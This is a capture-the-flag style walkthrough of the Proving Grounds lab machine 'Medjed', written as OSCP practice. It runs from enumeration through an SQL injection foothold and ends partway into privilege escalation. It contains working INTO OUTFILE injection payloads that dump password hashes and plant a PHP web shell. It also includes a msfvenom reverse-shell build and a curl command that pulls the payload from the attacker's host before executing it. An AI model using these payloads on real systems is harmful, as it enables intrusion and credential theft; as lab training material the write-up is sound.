Summary:

Recently I’ve been doing more Proving Grounds in preparation for my OSCP exam later this year. These boxes certainly have a different “flavour” than HTB ones, often containing many different applications and services running simultaneously. OffSec also loves chaining multiple applications together in an exploit chain. Finding a vulnerability in an app often does not lead to a foothold directly, but instead is used to attack or enumerate other services. Medjed is a good example of this, with the foothold exploit leveraging several seemingly unrelated web apps. While not too difficult, it’s very easy to get stuck without thorough enumeration.


Enumeration:

Nmap:

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ sudo nmap --min-rate 1000 -p- 192.168.200.127

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 20:27 ACST
Nmap scan report for 192.168.200.127
Host is up (0.21s latency).
Not shown: 65517 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5040/tcp  open  unknown
7680/tcp  open  pando-pub
8000/tcp  open  http-alt
30021/tcp open  unknown
33033/tcp open  unknown
44330/tcp open  unknown
45332/tcp open  unknown
45443/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 70.63 seconds


┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ sudo nmap -A -p 135,139,445,3306,5040,7680,8000,30021,33033,44330,45332,45443,49664-49669 192.168.200.127

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 20:30 ACST
Nmap scan report for 192.168.200.127
Host is up (0.21s latency).

PORT      STATE  SERVICE       VERSION
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds?
3306/tcp  open   mysql         MariaDB 10.3.24 or later (unauthorized)
5040/tcp  open   unknown
7680/tcp  closed pando-pub
8000/tcp  open   http-alt      BarracudaServer.com (Windows)
|_http-title: Home
| http-webdav-scan: 
|   Server Type: BarracudaServer.com (Windows)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Tue, 26 Aug 2025 11:03:07 GMT
|_http-server-header: BarracudaServer.com (Windows)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| fingerprint-strings: 
|   FourOhFourRequest, Socks5: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:20 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   GenericLines, GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:14 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:26 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   SIPOptions: 
|     HTTP/1.1 400 Bad Request
|     Date: Tue, 26 Aug 2025 11:01:32 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|     Content-Type: text/html
|     Cache-Control: no-store, no-cache, must-revalidate, max-age=0
|_    <html><body><h1>400 Bad Request</h1>Can't parse request<p>BarracudaServer.com (Windows)</p></body></html>
| http-methods: 
|_  Potentially risky methods: PROPFIND PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
30021/tcp open   ftp           FileZilla ftpd 0.9.41 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp            536 Nov 03  2020 .gitignore
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 app
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 bin
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 config
| -r--r--r-- 1 ftp ftp            130 Nov 03  2020 config.ru
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 db
| -r--r--r-- 1 ftp ftp           1750 Nov 03  2020 Gemfile
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 lib
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 log
| -r--r--r-- 1 ftp ftp             66 Nov 03  2020 package.json
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 public
| -r--r--r-- 1 ftp ftp            227 Nov 03  2020 Rakefile
| -r--r--r-- 1 ftp ftp            374 Nov 03  2020 README.md
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 test
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 tmp
|_drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 vendor
|_ftp-bounce: bounce working!
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
33033/tcp open   unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 3102
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8" />
|     <title>Action Controller: Exception caught</title>
|     <style>
|     body {
|     background-color: #FAFAFA;
|     color: #333;
|     margin: 0px;
|     body, p, ol, ul, td {
|     font-family: helvetica, verdana, arial, sans-serif;
|     font-size: 13px;
|     line-height: 18px;
|     font-size: 11px;
|     white-space: pre-wrap;
|     pre.box {
|     border: 1px solid #EEE;
|     padding: 10px;
|     margin: 0px;
|     width: 958px;
|     header {
|     color: #F0F0F0;
|     background: #C52F24;
|     padding: 0.5em 1.5em;
|     margin: 0.2em 0;
|     line-height: 1.1em;
|     font-size: 2em;
|     color: #C52F24;
|     line-height: 25px;
|     .details {
|_    bord
44330/tcp open   ssl/unknown
|_ssl-date: 2025-08-26T11:03:39+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=server demo 1024 bits/organizationName=Real Time Logic/stateOrProvinceName=CA/countryName=US
| Not valid before: 2009-08-27T14:40:47
|_Not valid after:  2019-08-25T14:40:47
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:30 GMT
|     Server: BarracudaServer.com (Windows)
|_    Connection: Close
45332/tcp open   http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Quiz App
45443/tcp open   http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Quiz App
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp open   msrpc         Microsoft Windows RPC
49668/tcp open   msrpc         Microsoft Windows RPC
49669/tcp open   msrpc         Microsoft Windows RPC
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
<..SNIP..>
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=8/26%OT=135%CT=7680%CU=35923%PV=Y%DS=4%DC=T%G=Y%TM=68A
OS:D948E%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=105%TI=I%CI=I%TS=U)SEQ(
OS:SP=103%GCD=1%ISR=10C%TI=I%CI=I%TS=U)SEQ(SP=105%GCD=1%ISR=10B%TI=I%CI=I%T
OS:S=U)SEQ(SP=106%GCD=1%ISR=10B%TI=I%CI=I%TS=U)SEQ(SP=FE%GCD=1%ISR=10F%TI=I
OS:%CI=I%TS=U)OPS(O1=M578NW8NNS%O2=M578NW8NNS%O3=M578NW8%O4=M578NW8NNS%O5=M
OS:578NW8NNS%O6=M578NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70
OS:)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M578NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A
OS:=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=N)

Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-08-26T11:03:09
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   217.05 ms 192.168.45.1
2   217.02 ms 192.168.45.254
3   217.06 ms 192.168.251.1
4   216.27 ms 192.168.200.127

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.94 seconds


There’s a lot going on here, with SMB, FTP, MySQL and 5 web servers running. The scan also identified FTP has anonymous access enabled.

TCP30021 - FTP:

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ ftp 192.168.200.127 -P 30021

Connected to 192.168.200.127.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.200.127:ch3ng): anonymous
331 Password required for anonymous
Password: 
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.


ftp> ls

229 Entering Extended Passive Mode (|||50026|)
150 Connection accepted
-r--r--r-- 1 ftp ftp            536 Nov 03  2020 .gitignore
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 app
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 bin
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 config
-r--r--r-- 1 ftp ftp            130 Nov 03  2020 config.ru
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 db
-r--r--r-- 1 ftp ftp           1750 Nov 03  2020 Gemfile
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 lib
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 log
-r--r--r-- 1 ftp ftp             66 Nov 03  2020 package.json
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 public
-r--r--r-- 1 ftp ftp            227 Nov 03  2020 Rakefile
-r--r--r-- 1 ftp ftp            374 Nov 03  2020 README.md
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 test
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 tmp
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 vendor
226 Transfer OK

The folder structure looks like a Ruby on Rails application. I’ve pillaged through all the folders, but all I found were skeleton files with no useful information. This looked like a dead end, but it hinted that a Rails app might be running somewhere.

TCP8000 and TCP44330 - BarracudaDrive:

Port 8000 is running BarracudaDrive (now renamed as FuguHub), a Lua-based application that offers features like file sharing, lightweight application hosting, and CMS. This is something OffSec loves putting in their boxes: clunky and legacy management software with horrible user experience, but often running with elevated privileges and packed with abusable built-in features.

After a few seconds, it redirected to /Config-Wizard/wizard/SetAdmin.lsp prompting me to setup an admin user.

This indicated it’s a fresh install with no users configured yet. I’ll create a new admin ch3ng.

The about page also showed its exact version.

This version is ancient. According to its changelog, 6.5 was released in May 2013! Searchsploit found a public exploit for this exact version.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ searchsploit barracudadrive

----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
barracudadrive 3.7.2 - Multiple Vulnerabilities                                    | windows/remote/4713.txt
BarracudaDrive v6.5 - Insecure Folder Permissions                                  | windows/local/48789.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results


Since it’s a privilege escalation exploit, it’s not relevant until a foothold is gained. I’ll note it down for later and continue exploring other pages in the app.

Web-File-Server:

First there’s a web file sharing service. Clicking on the link shows 2 drives.

Based on the icons, it supports many actions such as download, copy, and upload. Clicking on the folder does nothing, but changing the URL path to /fs/C/ shows the contents in the C drive.

Surprisingly it has full access to all the files, and the root flag can be read directly here.

I could pillage through all the files here, but the server was lagging to the point of being unusuable. Also, I doubt this is intended by the box creator, so I’ll move on.

Admin Panel:

The admin panel is found under the “Menu” tab. Clicking it redirects to port 44330 running HTTPS.

Since this is a fresh install and I’m the only user, it’s unlikely the config or user management sections contain anything useful. The Application Manager looks interesting though.

It lists three apps, all of which are dynamic LSP applications.

According to the docs, new LSP applications can be deployed here, provided the required files are already present on the server. It’s potentially another escalation path, I’ll revisit this once a foothold is gained.

TCP45332, TCP45443 - Quiz App:

Port 45332 is running a very simple PHP app that presents 4 multiple-choice questions, and shows the answers afterwards.

It doesn’t send any requests out, everything is handled by JavaScript.

Directory busting also found phpinfo.php:

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ gobuster dir -u http://192.168.200.127:45332 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 100

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.200.127:45332
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 887]
/.htaccess            (Status: 403) [Size: 308]
/.                    (Status: 200) [Size: 887]
/styles.css           (Status: 200) [Size: 1266]
/phpinfo.php          (Status: 200) [Size: 90795]
/.html                (Status: 403) [Size: 308]
/script.js            (Status: 200) [Size: 3023]


It reveals the app’s web root: C:\xampp\htdocs. It might be important for later.

TCP33033 - Rails App:

Port 33033 is a Rails app. The landing page simply lists all the users and their profiles. There doesn’t seem to be any naming convention, with multiple username formats found. Jerren appears to be the sysadmin, based on his username jerren.devops.

The button at the top right leads to a login page.

The login form does not seem injectable, and it does not return any error messages either.

There’s also a password reset function, which requires entering a reminder phrase. I tried with admin but failed. The error message did however tell me that the user does not exist.

For example, joe.webb gives a different error:

Other than that, there’s not much more to look at. Since I don’t see any paths forward here, I’ll review what feroxbuster found in the background.

NOTE: According to the official walkthrough, the intended path here is to look at Jerren’s profile, guess his reminder phrase is “paranoid” to reset his password and log in to the app. I didn’t figure this out when I worked on the box, so I did it another way. I find the guessing part rather far-fetched, and having this as the intended path seems somewhat questionable in my opinion.

Slug Endpoint:

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ feroxbuster -u http://192.168.200.127:33033 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 10

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.200.127:33033
 🚀  Threads               │ 10
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET     1183l     2424w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      119l      187w     3708c http://192.168.200.127:33033/users
200      GET       43l       86w     1630c http://192.168.200.127:33033/users/reminder
302      GET        1l        5w      673c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBDdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6c04dcc2bccb7faf94f362af6b374bf4a6202f92/image.jpeg => http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhlbUkzWkRGME9EY3dibW80TlROak1uVm5ZV2R3TjNvd04zUnpid1k2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpUDJsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW1sdFlXZGxMbXB3WldjaU95Qm1hV3hsYm1GdFpTbzlWVlJHTFRnbkoybHRZV2RsTG1wd1pXY0dPd1pVT2hGamIyNTBaVzUwWDNSNWNHVkpJZzlwYldGblpTOXFjR1ZuQmpzR1ZBPT0iLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjM4LjA3NloiLCJwdXIiOiJibG9iX2tleSJ9fQ==--06a3ccf468a9206beeff426684fa707eb9f502d3/image.jpeg?content_type=image%2Fjpeg&disposition=inline%3B+filename%3D%22image.jpeg%22%3B+filename%2A%3DUTF-8%27%27image.jpeg
302      GET        1l        5w      676c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--64a4832c53ff2cb3aeb198d3f3a4782aed180bac/image2.jpeg => http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhkVGczZFRsd01tUjNPR05pY25Zd2JuUnBlbmswZDJaNVkySXdNd1k2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpUVdsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW1sdFlXZGxNaTVxY0dWbklqc2dabWxzWlc1aGJXVXFQVlZVUmkwNEp5ZHBiV0ZuWlRJdWFuQmxad1k3QmxRNkVXTnZiblJsYm5SZmRIbHdaVWtpRDJsdFlXZGxMMnB3WldjR093WlUiLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjM4LjgwMVoiLCJwdXIiOiJibG9iX2tleSJ9fQ==--eab697035b3579b6ed9b8ea6945e56fa78259b6c/image2.jpeg?content_type=image%2Fjpeg&disposition=inline%3B+filename%3D%22image2.jpeg%22%3B+filename%2A%3DUTF-8%27%27image2.jpeg
302      GET        1l        5w      791c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBDUT09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3abb79eaf1dd95d8aba0c814ccb65dd30795f4d4/thiscatdoesnotexist.com.jpeg => http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhlWGR2WWpKbFkyOHdhWE4wY25ReGJ6WnhiV3BtWW1wdmRuQmxPUVk2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpWTJsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW5Sb2FYTmpZWFJrYjJWemJtOTBaWGhwYzNRdVkyOXRMbXB3WldjaU95Qm1hV3hsYm1GdFpTbzlWVlJHTFRnbkozUm9hWE5qWVhSa2IyVnpibTkwWlhocGMzUXVZMjl0TG1wd1pXY0dPd1pVT2hGamIyNTBaVzUwWDNSNWNHVkpJZzlwYldGblpTOXFjR1ZuQmpzR1ZBPT0iLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjQwLjQ1MloiLCJwdXIiOiJibG9iX2tleSJ9fQ==--d5ba856cbc909a3bd7cf6f569ee320c42a0581c4/thiscatdoesnotexist.com.jpeg?content_type=image%2Fjpeg&disposition=inline%3B+filename%3D%22thiscatdoesnotexist.com.jpeg%22%3B+filename%2A%3DUTF-8%27%27thiscatdoesnotexist.com.jpeg
302      GET        1l        5w      673c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBDQT09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ef2f596261aa7e3da359c4d8f5a9a83b6860d11b/image.jpeg => http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhNakJwTVc5cGRUZzNkbXhqYkRNMWVHUTJablp6T0RZMmJuRmlaUVk2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpUDJsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW1sdFlXZGxMbXB3WldjaU95Qm1hV3hsYm1GdFpTbzlWVlJHTFRnbkoybHRZV2RsTG1wd1pXY0dPd1pVT2hGamIyNTBaVzUwWDNSNWNHVkpJZzlwYldGblpTOXFjR1ZuQmpzR1ZBPT0iLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjQwLjY1MloiLCJwdXIiOiJibG9iX2tleSJ9fQ==--d3de54c53bf80cc1798c2e5e8670d5be97d09041/image.jpeg?content_type=image%2Fjpeg&disposition=inline%3B+filename%3D%22image.jpeg%22%3B+filename%2A%3DUTF-8%27%27image.jpeg
200      GET       43l       78w     1523c http://192.168.200.127:33033/login
200      GET      119l      187w     3708c http://192.168.200.127:33033/
200      GET      725l     1230w    18286c http://192.168.200.127:33033/rails/info/routes
404      GET     1223l     2564w    39772c http://192.168.200.127:33033/assets
302      GET        1l        5w      100c http://192.168.200.127:33033/logout => http://192.168.200.127:33033/login
200      GET       67l      181w     1722c http://192.168.200.127:33033/404
404      GET        0l        0w    37323c http://192.168.200.127:33033/267
200      GET       66l      165w     1635c http://192.168.200.127:33033/500
200      GET       67l      176w     1705c http://192.168.200.127:33033/422
404      GET        1l        3w       14c http://192.168.200.127:33033/cable
[>-------------------] - 9m      9361/220574  3h      found:16      errors:29     
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_200_127:33033-1756213531.state ...
[>-------------------] - 9m      9362/220574  3h      found:16      errors:29     
[>-------------------] - 9m      9323/220545  17/s    http://192.168.200.127:33033/


The directory scan found an interesting endpoint /rails/info/routes.

According to the Rails docs, this endpoint lists out all the available routes, and it’s only available if the app is running in development mode. Most of them requires authentication, but /slug doesn’t.

A slug typically refers to a short user- or SEO-friendly text used in URLs to identify and describe a resource. Looks like the endpoint is for generating slugs based on a user’s profile.

I tried searching with several usernames found earlier, but it never returns any results. Then I tried searching with asdf', and it crashed with a full stack trace.

That’s SQL injection! The error message also revealed the Rails root: C:/Sites/userpro and the exact SQL statement: SELECT username FROM users WHERE username = '<input>'.


Exploitation:

SQL Injection:

Normally I would fire up sqlmap and let it perform magic, but since this is an OSCP practice, I’ll do it manually instead. Having knowledge of the exact SQL statement also makes exploitation much easier.

I’ll first check if I’m able to write to files using MySQL’s INTO OUTFILE clause.

Payload:
asdf' INTO OUTFILE 'C:/Windows/Temp/test.txt'#

I’ll send the payload, and it didn’t return any error. However, sending it again caused a crash with an error message complaining the file already exists. File write successful.

I’ll then check if I can write into Rails’ public folder.

Payload:
asdf' UNION SELECT 'SQL injection POC' INTO OUTFILE 'C:/Sites/userpro/public/poc.txt'#

Success!

Data Exfiltration:

Now that I’m able to see the SQL output, I can start exfiltrating the database.

Listing out columns of the “users” table:
Payload:
asdf' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' INTO OUTFILE 'C:/Sites/userpro/public/columns.txt'#

Recovering password hashes:
Payload:
asdf' UNION SELECT password_digest FROM users INTO OUTFILE 'C:/Sites/userpro/public/all_passwords.txt'#

Recovering reminders:
Payload:
asdf' UNION SELECT reminder FROM users INTO OUTFILE 'C:/Sites/userpro/public/all_reminders.txt'#

The hashes look like BCrypt, which is very resistant to offline attacks. Some of the reminders also looks like passwords themselves. I ran john against the hashes using the list of reminders as the wordlist. One of them cracked.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ john --wordlist=reminders.txt hashes.txt

Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates left, minimum 48 needed for performance.
xuk1EuP3N/rCpA   (?)     
1g 0:00:00:01 DONE (2025-08-27 00:03) 0.6172g/s 3.086p/s 18.51c/s 18.51C/s 4qpdR87QYjRbog..WgsjOZwtOyCRSg
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


I’ll do a password spray on the app, and it worked for kenneth.dooley.

Underwhelmingly, the authenticated page just shows the user profile with an option to edit.

The edit page didn’t have much either, the experimental link goes back to /slug. I’ve gone a full circle here.

Web Shell Upload:

Remember the PHP quiz app? PhpInfo revealed its web root, and turns out SQL has permissions to write into it too.

Payload:
asdf' UNION SELECT 'test' INTO OUTFILE 'C:/xampp/htdocs/test.txt'#

I’ll write a PHP web shell into it.

Payload:
asdf' UNION SELECT '' INTO OUTFILE 'C:/xampp/htdocs/shell.php'#

And it can be accessed on port 45332.

For a proper shell, I’ll first generate an EXE payload with msfvenom:

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.160 LPORT=8001 -f exe -o shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe


I’ll host the file with a Python server and download it to the server using the web shell:

Payload:
http://192.168.200.127:45332/shell.php?x=curl http://192.168.45.160:8000/shell.exe -o C:/Users/Public/Downloads/shell.exe
Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ python -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.200.127 - - [27/Aug/2025 00:47:12] "GET /shell.exe HTTP/1.1" 200 -


Visiting http://192.168.200.127:45332/shell.php?x=C:/Users/Public/Downloads/shell.exe triggered the binary execution, and a shell as jerren was caught on my netcat listener.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.200.127] 51610
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.


C:\xampp\htdocs> whoami

medjed\jerren

In retrospect, BarracudaDrive’s web file server also has access to the PHP web root, and the shell could be uploaded there instead. This would have saved me a lot of time, but that page was lagging so bad for me at the time I kinda overlooked it.

User Flag:

MEDJED
C:\Users\Jerren\Desktop> type local.txt

97c9c30d************************


Escalation:

Application Manager:

Now that a foothold is gained, it’s time to revisit the privilege escalation paths identified earlier. I’ll try to deploy a rogue LSP app using BarracudaDrive’s Application Manager.

Clicking on “Browse” pops up a new window to select the ZIP file. The files for the 3 existing apps are already there under /applications/.

On Medjed, it’s under C:\bd\applications\.

MEDJED
C:\bd\application> dir

Volume in drive C has no label.
Volume Serial Number is A41E-B108

 Directory of c:\bd\applications

11/03/2020  12:29 PM    <DIR>          .
11/03/2020  12:29 PM    <DIR>          ..
02/18/2013  06:31 PM           165,067 cms.zip
02/18/2013  11:59 PM            71,310 Config-Wizard.zip
04/26/2013  05:51 PM           755,582 Forum.zip
               3 File(s)        991,959 bytes
               2 Dir(s)  16,498,372,608 bytes free

To understand how the ZIP file is structured, I’ve downloaded Config-Wizard as an example.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ ls -la config-wizard

total 136
drwxr-xr-x 8 ch3ng ch3ng  4096 Aug 27 03:08 .
drwxr-xr-x 8 ch3ng ch3ng  4096 Aug 27 03:53 ..
-rw-r--r-- 1 ch3ng ch3ng   374 Aug 27 03:06 .appinfo
-rw-r--r-- 1 ch3ng ch3ng 71310 Aug 27 03:06 config-wizard.zip
-rw-r--r-- 1 ch3ng ch3ng  1061 Aug 27 03:06 .footer.lsp
drwxr-xr-x 3 ch3ng ch3ng  4096 Aug 27 03:06 help
-rw-r--r-- 1 ch3ng ch3ng  1793 Aug 27 03:06 help.js
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 images
-rw-r--r-- 1 ch3ng ch3ng  1789 Aug 27 03:08 index.lsp
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 intro
-rw-r--r-- 1 ch3ng ch3ng  6699 Aug 27 03:06 jquery.cycle.all.pack.js
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 PortMappingFailed
-rw-r--r-- 1 ch3ng ch3ng  6149 Aug 27 03:06 .preload
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 protected
drwxr-xr-x 2 ch3ng ch3ng  4096 Aug 27 03:06 wizard


The two essential files are index.lsp and .appinfo. index.lsp would be the entrypoint of the application, while .appinfo contains the app’s metadata. I guess the important attribute is “type”, as it tells the server whether it’s a dynamic LSP app or just static HTML.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed/config-wizard]
└─$ cat .appinfo | jq

{
  "description": "This application is designed to help you with the initial BarracudaDrive configuration. You may remove this application when you have completed the configuration.",
  "copyright": "Real Time Logic",
  "rootapp": false,
